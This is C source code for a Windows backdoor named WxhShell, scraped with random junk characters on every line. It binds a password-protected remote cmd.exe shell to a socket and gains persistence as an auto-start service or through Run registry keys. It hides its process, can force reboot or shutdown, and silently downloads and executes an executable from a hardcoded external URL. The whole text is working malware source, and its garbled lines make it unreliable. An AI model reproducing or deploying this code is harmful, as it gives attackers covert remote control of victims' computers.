    if(Boot(SHUTDOWN)) @B}aN@!/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _YRE (YZ/  
    else { 43=,yz2Ef  
    closesocket(wsh); ,a#EW+" Z  
    ExitThread(0); !>:?rSg*  
    } tJN<PCG6"  
    break; K(aJi,e>  
    } L@fY$Rw  
  // 获取shell Q|@4bzi)  
  case 's': { av~5l4YL  
    CmdShell(wsh); *g^x*|f6  
    closesocket(wsh); ,i@X'<;y  
    ExitThread(0); +@r*}  
    break; f5` g  
  } kwsp9 0)  
  // 退出 o=1X^,  
  case 'x': { /&4U6a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X]y)qV)a[c  
    CloseIt(wsh); ={u0_j W  
    break; u(G*\<z-  
    } V*~Zs'L'E  
  // 离开 iQ"XLrpl  
  case 'q': { {p,]oOq\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NF? vg/{  
    closesocket(wsh); CD8}I85 K  
    WSACleanup(); ZK)%l~J  
    exit(1); 33}oO,}t,  
    break; U,LTVYrO  
        } %Rsp;1Z  
  } Sf8{h|71  
  } `jOX6_z?I  
P~ &$l2  
  // 提示信息 `/_G$_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )5 R=Z<  
} k?7 X3/O  
  } Fgh]KQ/5  
QPq7R  
  return; KZeQ47|  
} 0Zg%+)iy@  
0#MqD[U(  
// shell模块句柄 //aF5 :Y#  
int CmdShell(SOCKET sock) Gw1@KKg  
{ :Lz\yARpk  
STARTUPINFO si; F;>!&[h}G  
ZeroMemory(&si,sizeof(si)); ."Y e\>k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bwl|0"f+`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gmm.{%1_I;  
PROCESS_INFORMATION ProcessInfo; ?^N3&ukkyo  
char cmdline[]="cmd"; O]m+u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )YqXRm  
  return 0; jQ)T67  
} Mec5h}^  
[n/hkXa$\  
// 自身启动模式 b Ax?&$  
int StartFromService(void) `HBf&Z  
{ OD_W8!-  
typedef struct _l1NKk  
{ `ta7Gc/:UY  
  DWORD ExitStatus; *Aa?yg:=  
  DWORD PebBaseAddress; KSrx[q  
  DWORD AffinityMask; ?y!E-&  
  DWORD BasePriority; 95V@X ^Ee  
  ULONG UniqueProcessId; Zcc9e 03  
  ULONG InheritedFromUniqueProcessId; `Ry]y"K  
}   PROCESS_BASIC_INFORMATION; LupkrxV  
:Q@&5!]>d  
PROCNTQSIP NtQueryInformationProcess; +k>.Q0n%m  
5v6Ei i:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &ZQJ>#~j^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ _!F01s  
L/z),#  
  HANDLE             hProcess; +U3m#Y)k  
  PROCESS_BASIC_INFORMATION pbi; .e3+s*  
S1?-I_t+]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2J;kSh1,L  
  if(NULL == hInst ) return 0; M^]cM(swK5  
x_dy~(*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B9J&=6`)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;"m ,:5%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xp}Yw"7  
)=etG  
  if (!NtQueryInformationProcess) return 0; 6w@ Ii;  
Y(d$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ O5UyKI  
  if(!hProcess) return 0; )<Hd T  
s S7c!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vZBc !AW  
0MdDXG-7  
  CloseHandle(hProcess); YGsWu7dG  
d09k5$=gJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cx0*X*  
if(hProcess==NULL) return 0; BGu?<bET  
a 7,C>%I  
HMODULE hMod; AoI/n4T^  
char procName[255]; xoR;=ph  
unsigned long cbNeeded; bv*,#Qm  
HC}YY2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *VZ5B<Ic  
r#B+(X7LM  
  CloseHandle(hProcess); "^]cQ"A  
r#Oo nZ  
if(strstr(procName,"services")) return 1; // 以服务启动 _Wa. JUbv  
I2nhqJy^  
  return 0; // 注册表启动 I'0@viF"Nx  
} 9uQ 4u/F  
IyLx0[:U  
// 主模块 @$+ecaVW  
int StartWxhshell(LPSTR lpCmdLine) qhz]Wm P   
{ QD>"]ap,o  
  SOCKET wsl; E}tqQ*u  
BOOL val=TRUE; 5EfS^MRf\n  
  int port=0; G@Z?&"    
  struct sockaddr_in door; 7?%k7f  
v*[.a#1^  
  if(wscfg.ws_autoins) Install(); AD<q%pu&H?  
n .RhxgC<  
port=atoi(lpCmdLine); w:<W.7y?0  
_}En/V_  
if(port<=0) port=wscfg.ws_port; A`}rqhU.{-  
^:Gie  
  WSADATA data; n= u&uqA*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &sL&\+=<(  
?28N ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r|qp3x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *^wm1|5  
  door.sin_family = AF_INET; ?n ZY)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X]dwX%:Z!j  
  door.sin_port = htons(port); 2 FW \O0U  
oczN5YSt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `6xkf&Kt  
closesocket(wsl); lh;:M -b9  
return 1; >M/V oV  
} xsMBC  
~'CE[G5  
  if(listen(wsl,2) == INVALID_SOCKET) { XUlS\CH@{  
closesocket(wsl); Uh):b%bS;J  
return 1; 9 o&`5  
} rq/I` :  
  Wxhshell(wsl); fL=~NC"  
  WSACleanup(); -B$2\ZE  
jyZWV L:_  
return 0; 9AJ7h9L  
XnWr5-;  
} N/K.%<h  
9B7^lR  
// 以NT服务方式启动 SV~~Q_U9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PJL=$gBgKk  
{ Rw:*'1  
DWORD   status = 0; HEM9E&rL  
  DWORD   specificError = 0xfffffff; ssN6M./6  
ktpaU,%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 'Worj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E }nH1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^*Yh@4\{JH  
  serviceStatus.dwWin32ExitCode     = 0; ^kB8F"X  
  serviceStatus.dwServiceSpecificExitCode = 0; $H9%J  
  serviceStatus.dwCheckPoint       = 0; J:zU,IIJ  
  serviceStatus.dwWaitHint       = 0; PIwFF}<(  
Y*vW!yu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f__cn^1  
  if (hServiceStatusHandle==0) return; d! LE{  
De(Hw& IV  
status = GetLastError(); ~,B5Hc 2  
  if (status!=NO_ERROR) `,(,t n_  
{ D,k"PaLP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xM&Wgei]10  
    serviceStatus.dwCheckPoint       = 0; /VN f{p  
    serviceStatus.dwWaitHint       = 0; ]33>m|?@  
    serviceStatus.dwWin32ExitCode     = status; ?}U(3  
    serviceStatus.dwServiceSpecificExitCode = specificError; "\o+v|;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?I~()]k5  
    return; <yNM%P<Oy  
  } V1 3N}]  
70Wggty  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?1K#dC52#  
  serviceStatus.dwCheckPoint       = 0; vbC\?\_  
  serviceStatus.dwWaitHint       = 0; W1|0Yd ;P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zIu E9l  
} 7B\Vs-d  
zPjHsulK  
// 处理NT服务事件,比如:启动、停止 9E>|=d|(d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xY^ %&n  
{ 75/(??2  
switch(fdwControl) 2bkX}FWd;  
{ E{Ov>osq  
case SERVICE_CONTROL_STOP: LH8 fBhw  
  serviceStatus.dwWin32ExitCode = 0; )]H-BIuGm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r'HtZo$^R  
  serviceStatus.dwCheckPoint   = 0; G#u6Am)T  
  serviceStatus.dwWaitHint     = 0; e3nYbWBy]  
  { P>NF.B Cq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g9Xu@N;bL  
  } K+3IWZ&+dG  
  return; 9{5&^RbCp  
case SERVICE_CONTROL_PAUSE: }n3/vlW9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <4g{ fT0  
  break; #0P$M!%  
case SERVICE_CONTROL_CONTINUE: ZL&g_jC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W;!}#o|%s  
  break; %R}.#,Suo  
case SERVICE_CONTROL_INTERROGATE: JS CZ{v J$  
  break; P;qN(2L/=<  
}; c*L0@Ak%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AK*LyR?  
} d\R,Q  
.ZVUd84B  
// 标准应用程序主函数 \%f q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uF9C -H@:  
{ 8T!+ZQAz  
QSszn`e  
// 获取操作系统版本 pgQV/6  
OsIsNt=GetOsVer(); 4GY[7^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rld!,t  
y)W@{@{kl  
  // 从命令行安装 %'s>QF]'  
  if(strpbrk(lpCmdLine,"iI")) Install(); D*gFV{ Ws  
;U.hxh;+  
  // 下载执行文件 [BqHx5Xz(  
if(wscfg.ws_downexe) { XkXHGDEf1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -xEXN[\S  
  WinExec(wscfg.ws_filenam,SW_HIDE); %t" CX5 n  
} 7!EBH(,z  
~M7y*'oY  
if(!OsIsNt) { =F]FP5V  
// 如果时win9x,隐藏进程并且设置为注册表启动 +wN^c#~7  
HideProc(); --%N8L;e  
StartWxhshell(lpCmdLine); kt["m.  
} M42 Ssn)  
else U |Jo{(Y  
  if(StartFromService()) ZjQ |Wx  
  // 以服务方式启动 s'E2P[:  
  StartServiceCtrlDispatcher(DispatchTable); ND>r#(_\  
else h?BFvbAt  
  // 普通方式启动 T"E6y"D  
  StartWxhshell(lpCmdLine); i+S) K  
YW_Q\|p]M  
return 0; 1m:XR0P  
} Sjyoc<Uo  
17oa69G  
Q@<S[Qh[.  
`_`QxM  
=========================================== `.FF!P:{C*  
M^r1S  
[<g?WPCcC  
u'|4?"uz  
||hb~%JK6  
C)@y5. G;  
" >*#1ZB_l  
:(!` /#6H  
#include <stdio.h> ZniB]k1  
#include <string.h> (Pf+0,2  
#include <windows.h> _aad=BrMK  
#include <winsock2.h> H%UL%l$  
#include <winsvc.h> }Qip&IN  
#include <urlmon.h> JEahGzO  
F+ ,~v-  
#pragma comment (lib, "Ws2_32.lib") } z _  
#pragma comment (lib, "urlmon.lib") "$ Y_UJT7  
U(Nu%  
#define MAX_USER   100 // 最大客户端连接数 w)kNkD  
#define BUF_SOCK   200 // sock buffer E:JJ3X|  
#define KEY_BUFF   255 // 输入 buffer %C~1^9uq  
2 Ga7$q  
#define REBOOT     0   // 重启 =BSzsH7  
#define SHUTDOWN   1   // 关机 "a ueL/dgN  
F)&@P-9+  
#define DEF_PORT   5000 // 监听端口 XQ9O$ ~q  
)}D'<^=#T  
#define REG_LEN     16   // 注册表键长度 _aFl_\3>  
#define SVC_LEN     80   // NT服务名长度 rz wF~-m +  
Oiz ,w7LRh  
// 从dll定义API Ljxz.2LGr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tyXuG<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s+,OxRVw(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /'].lp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b J=Jg~&  
q>$ev)W  
// wxhshell配置信息 DnCP aM4%  
struct WSCFG { -8:&>~4`  
  int ws_port;         // 监听端口 Ghx3EVqnx"  
  char ws_passstr[REG_LEN]; // 口令 E^ P,*s  
  int ws_autoins;       // 安装标记, 1=yes 0=no q|o}+Vr  
  char ws_regname[REG_LEN]; // 注册表键名 DoJ\ q+  
  char ws_svcname[REG_LEN]; // 服务名 J&[@}$N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,0*&OXt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t2F _uCr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k2c}3 MeP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6x h:/j3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /<@SFF.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *c~T@m~DR  
!46RGU:I  
}; k9  "[H'  
uD1e!oU  
// default Wxhshell configuration D7lK30  
struct WSCFG wscfg={DEF_PORT, 4]G?G]lS>  
    "xuhuanlingzhe", @wpN6 /   
    1, 2z6yn?'&L  
    "Wxhshell", \>jLRb|7Ts  
    "Wxhshell", (]0%}$Fo  
            "WxhShell Service", SB1upTn  
    "Wrsky Windows CmdShell Service", @.b+av4J  
    "Please Input Your Password: ", A+::O@_s  
  1, %_+2@\  
  "http://www.wrsky.com/wxhshell.exe", M9V q -U18  
  "Wxhshell.exe" rR9|6l 3  
    }; mef<=5t  
GN ]cDik  
// 消息定义模块 ]ndvt[4L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9xO#tu]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ACvV "b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iYDEI e  
char *msg_ws_ext="\n\rExit."; [`{Z}q&  
char *msg_ws_end="\n\rQuit."; ,TXTS*V?  
char *msg_ws_boot="\n\rReboot..."; W3IpHV  
char *msg_ws_poff="\n\rShutdown..."; C ~<'rO}|  
char *msg_ws_down="\n\rSave to "; c(:f\Wc3Z  
U*( izD  
char *msg_ws_err="\n\rErr!"; &u /Nf&A  
char *msg_ws_ok="\n\rOK!"; 1T y<\bZ=  
56+s~hG  
char ExeFile[MAX_PATH]; Y? x,  
int nUser = 0; xIxn"^'  
HANDLE handles[MAX_USER]; sm0xLZ  
int OsIsNt; 5b!vgm#])  
;i Fz?d3;  
SERVICE_STATUS       serviceStatus; !lf|7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ap&?r`Tu  
i=i(%yQ%  
// 函数声明 #JgH}|&a$  
int Install(void); W%T>SpFl  
int Uninstall(void); 73V|6tmgY  
int DownloadFile(char *sURL, SOCKET wsh); q}~3C1  
int Boot(int flag); ?&|5=>u2}$  
void HideProc(void); *+j* {>E  
int GetOsVer(void); @x"0_Qw  
int Wxhshell(SOCKET wsl); ::ajlRZG  
void TalkWithClient(void *cs); "OQ^U_  
int CmdShell(SOCKET sock); plb!.g  
int StartFromService(void); rM .|1(u  
int StartWxhshell(LPSTR lpCmdLine); u=/{cOJI6  
Y%PwktQm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~aMlr6;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :uWw8`  
v}1QH  
// 数据结构和表定义 ] 8Q4BW  
SERVICE_TABLE_ENTRY DispatchTable[] = k 8UO9r[  
{ 1u: gFUb  
{wscfg.ws_svcname, NTServiceMain}, 6^]!gR#B  
{NULL, NULL} E"+QJ~!  
}; Svondc 4  
LXbP 2  
// 自我安装 t?}zdI(4  
int Install(void) Min ^>  
{ ebT:/wu,2  
  char svExeFile[MAX_PATH]; =x<ge_Y  
  HKEY key; {DU`[:SQZg  
  strcpy(svExeFile,ExeFile); oASY7k_3  
}emN9Rj  
// 如果是win9x系统,修改注册表设为自启动 2 $?C7(kW  
if(!OsIsNt) { -i)ZQCE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ny`#%Vs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0BIy>wy:  
  RegCloseKey(key); ;.TRWn#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~(Q)"s\1I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I_<I&{N>  
  RegCloseKey(key); >sWp ?  
  return 0; 'yL%3h _@  
    } Ag&0wN+jTM  
  } t^6dzrF  
} =&,]Z6{ >  
else { +pR[U4$  
kuol rfGB  
// 如果是NT以上系统,安装为系统服务 ;?8_G%va  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tS|(K=$  
if (schSCManager!=0) fjU8gV  
{ $lLz 3YS  
  SC_HANDLE schService = CreateService 'R c,Mq'  
  ( lEhk'/~  
  schSCManager, R $&o*K`?  
  wscfg.ws_svcname, *Eo?k<:zPm  
  wscfg.ws_svcdisp, Pb?$t  
  SERVICE_ALL_ACCESS, oJ4 AIQjB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @&1ZB6OCb:  
  SERVICE_AUTO_START, "br,/Dk>MX  
  SERVICE_ERROR_NORMAL, pL{U `5S  
  svExeFile, |962G1.  
  NULL, ]`kmjn  
  NULL, !Cr(P e]  
  NULL, $4/yZaVb  
  NULL, MhR:c7,  
  NULL *.!Np9l,V  
  ); Fxm$9(Y  
  if (schService!=0) 1UE6 4Kl:S  
  { dYL"h.x  
  CloseServiceHandle(schService); (+B5|_xQu  
  CloseServiceHandle(schSCManager); =>M^02"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r7b1-  
  strcat(svExeFile,wscfg.ws_svcname); a'2$nbp}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;`^WGS(3.%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~g5[$r-u-u  
  RegCloseKey(key); B oC5E#;G  
  return 0; zxC#0@qX07  
    } i70w rW#k  
  } ]=>F.GE  
  CloseServiceHandle(schSCManager); . koYHq  
} \'|> p/5I  
} mGJasn  
i(>4wK!!  
return 1; ;*:Pw?'  
} R'C2o]  
eD*A )  
// 自我卸载 P;Ga4Q.  
int Uninstall(void) Zo g']=  
{ ;xzUE`uUfJ  
  HKEY key; hRK/T7v  
1+}{8D_F  
if(!OsIsNt) { 8C67{^`::  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Hf9VC3   
  RegDeleteValue(key,wscfg.ws_regname); v"#mzd.tW  
  RegCloseKey(key); X22[tqg;&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k +H3Bq  
  RegDeleteValue(key,wscfg.ws_regname); (=* cK-3  
  RegCloseKey(key); R,pX:H&#+  
  return 0; TrLu~4  
  } i*#-I3  
} ~ xft  
} `/EGyN6X  
else { +\F'iAs@  
A^)?Wt%*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0V'nK V"|  
if (schSCManager!=0) Mf&{7%  
{ qzf!l"bT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2T V X)q<\  
  if (schService!=0) m^GJuP LW  
  { Si6al78  
  if(DeleteService(schService)!=0) { L IZRoG8  
  CloseServiceHandle(schService); ha(Z<  
  CloseServiceHandle(schSCManager); .y@oz7T5  
  return 0; wPwXM!  
  } *=+td)S/1  
  CloseServiceHandle(schService); *#tJM.Z  
  } ;|vpwB@B  
  CloseServiceHandle(schSCManager); <gJU?$  
} ?kB2iU_f+  
} N4L|;?  
^eR%N8Z  
return 1; h-Fn?  
} >(?9?  
p; tVn{u  
// 从指定url下载文件 }M3fmAP}  
int DownloadFile(char *sURL, SOCKET wsh) Z;:u'=  
{ }^/9G17  
  HRESULT hr; c@/(B:@  
char seps[]= "/"; ni<A3OB  
char *token; E}40oID  
char *file; /4` 0?/V  
char myURL[MAX_PATH]; &!/}Qp  
char myFILE[MAX_PATH]; ^(|vsFzn  
`"&d a#N]  
strcpy(myURL,sURL); \H=&`?  
  token=strtok(myURL,seps); pO ml8SQf  
  while(token!=NULL) %2XHNW  
  { z#]Jv!~EPE  
    file=token; v(EEG/~  
  token=strtok(NULL,seps); (&+kl q  
  } 0Sgaem`  
:yeq(o K,  
GetCurrentDirectory(MAX_PATH,myFILE); dv.(7Y7.x  
strcat(myFILE, "\\"); fp[|M  
strcat(myFILE, file); 'J6 M*vO  
  send(wsh,myFILE,strlen(myFILE),0); D (h18  
send(wsh,"...",3,0); YEj8S5"Su\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X!m9lV<  
  if(hr==S_OK) 20Z8HwQi  
return 0; b#K:_ac5  
else O'W0q;rT  
return 1; Yx eOI#L  
~wJFa'2  
} IGtl\b=  
.h>8@5/s  
// 系统电源模块 IuNiEtKx  
int Boot(int flag) r9 !Tug*>m  
{ jz5qQt]^  
  HANDLE hToken; sIK;x]Q)  
  TOKEN_PRIVILEGES tkp; TJ1+g \  
M $Es%  
  if(OsIsNt) { .8P.)%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JvT"bZk( o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  }(1JaG  
    tkp.PrivilegeCount = 1; ~fT_8z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pb$~b\s]=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qU#BJON]BR  
if(flag==REBOOT) { 3 AsT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WC|.g,9#  
  return 0; gMaN)ESqd4  
} ho0@ l  
else { ^d~1E Er  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pri`K/  
  return 0; 4Rvf  
} Oh'Y0_oB>  
  } %7gkNa  
  else { uU:CR>=AKW  
if(flag==REBOOT) { FKT1fv[H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ui@2s;1t  
  return 0; N9vP7  
} yb/%?DNQT  
else { ^",ACWF4Sk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wh%ucX&  
  return 0; yRiP{$E  
} !X<~-G2)l  
} ##EYH1P]  
_<NMyRJo  
return 1; Vgyew9>E  
} R hvfC5Hq  
y !!E\b=  
// win9x进程隐藏模块 6+KHQFb&N  
void HideProc(void) {FG|\nPw  
{ ZG du|  
Xixqxm*8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yNqe8C,>e  
  if ( hKernel != NULL ) 'qF#<1&  
  { gW1b~( fD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _dJ{j   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZJ 77[  
    FreeLibrary(hKernel); zdEPDd B  
  } Hw-Z  
f}@jFhr'<  
return; Q]w&N30  
} zKsz*xv6b  
@bnG:np  
// 获取操作系统版本 H_ez'yy  
int GetOsVer(void) wu4NLgkE  
{ 0`I-2M4F*Q  
  OSVERSIONINFO winfo; -p E(_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V2<?ol  
  GetVersionEx(&winfo); %T[^D&9$,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CCX8>09  
  return 1; fS"Hr0  
  else j* *s^Sg  
  return 0; Eb=#9f%y>&  
} cn- nj]  
]Bm>-*@0N  
// 客户端句柄模块 l?q%?v8  
int Wxhshell(SOCKET wsl) ]Y| 9?9d  
{ 80$fG8  
  SOCKET wsh; @YH+c G|  
  struct sockaddr_in client; gn{=%`[  
  DWORD myID; <soz#}e  
LjH*rjS4  
  while(nUser<MAX_USER) 5&f{1M6l>  
{ tL+OCLF;  
  int nSize=sizeof(client); ~Gqno  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y=T'WNaL)0  
  if(wsh==INVALID_SOCKET) return 1; o1/lZm{\~n  
}I!hOD>]O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1H,g=Y4f%  
if(handles[nUser]==0) D)brPMS:o  
  closesocket(wsh); )*5G">))p  
else IjfxR mV  
  nUser++; TbehR:B5g  
  } lI/0:|l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nCKbgM'"  
/V?H4z[G  
  return 0; $^tv45  
} e\b`n}nC  
(#oycj^<  
// 关闭 socket 2 /y}a#s  
void CloseIt(SOCKET wsh) SxjCwX">  
{ WM)F0@"  
closesocket(wsh); Q8MS,7y/  
nUser--; 0q9>6?=i  
ExitThread(0); FhIqy %X  
} %k0EpJE%  
J@9}`y=K  
// 客户端请求句柄 L;QY<b  
void TalkWithClient(void *cs) ofW+_DKB?l  
{ @:x"]!1  
B/"2.,  
  SOCKET wsh=(SOCKET)cs; )nu~9km3  
  char pwd[SVC_LEN]; $A$@|]}p  
  char cmd[KEY_BUFF]; jvzBh-!  
char chr[1]; WjMS5^ _  
int i,j; [k]|Qi nk  
zx1:`K0bi  
  while (nUser < MAX_USER) { eu'1H@vX(  
jLcHY-P0V  
if(wscfg.ws_passstr) { QT#6'>&7-b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <SVmOmJ-K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )uP[!LV[e  
  //ZeroMemory(pwd,KEY_BUFF); a)2yE,":  
      i=0; 2*U.^]~"{  
  while(i<SVC_LEN) { d \>2  
(3*UPZv  
  // 设置超时 D*vm cSf  
  fd_set FdRead; tk/`%Q  
  struct timeval TimeOut; ;T ZGC).6  
  FD_ZERO(&FdRead); s%;<O:x8o  
  FD_SET(wsh,&FdRead); Poa?Ej  
  TimeOut.tv_sec=8; w5]l1}rl  
  TimeOut.tv_usec=0; s>z2  k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A 2x;fgi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !k~z5z'=py  
gY`Nr!O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %B EC] h  
  pwd=chr[0]; #/j={*-  
  if(chr[0]==0xd || chr[0]==0xa) { v9}[$HWx  
  pwd=0; "uu)2Xe  
  break; G+)?^QTn  
  } OR+A_:c.D  
  i++; ~hURs;Sb  
    } ] mj v;C  
b2h":G|s  
  // 如果是非法用户,关闭 socket |0{ i9 .=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M@?"t_e1  
} NcL =z o<  
LCQkgRs}~{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F>:%Cyo0!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7unA"9=[4V  
p27p~b&  
while(1) { Xa`(;CLW?  
$cK^23H/Fj  
  ZeroMemory(cmd,KEY_BUFF); ]Sta]}VQ  
jXEGSn  
      // 自动支持客户端 telnet标准   T 2bnzI i  
  j=0; |}qjqtZ  
  while(j<KEY_BUFF) { $P?{O3:V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?^3B3qqh9  
  cmd[j]=chr[0]; MM_py!=>7  
  if(chr[0]==0xa || chr[0]==0xd) { 5fHYc0  
  cmd[j]=0; !cCg/  
  break; y'rN5J:l  
  } _hoAW8i  
  j++; F7 uhuqA]N  
    } }%{=].)L  
gStY8Z!k  
  // 下载文件 9kd.j@C  
  if(strstr(cmd,"http://")) { }W "(c YN_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `2x34  
  if(DownloadFile(cmd,wsh)) a R#Cot  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)IrXz>Zh  
  else k E_ky)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |!re8|JV_  
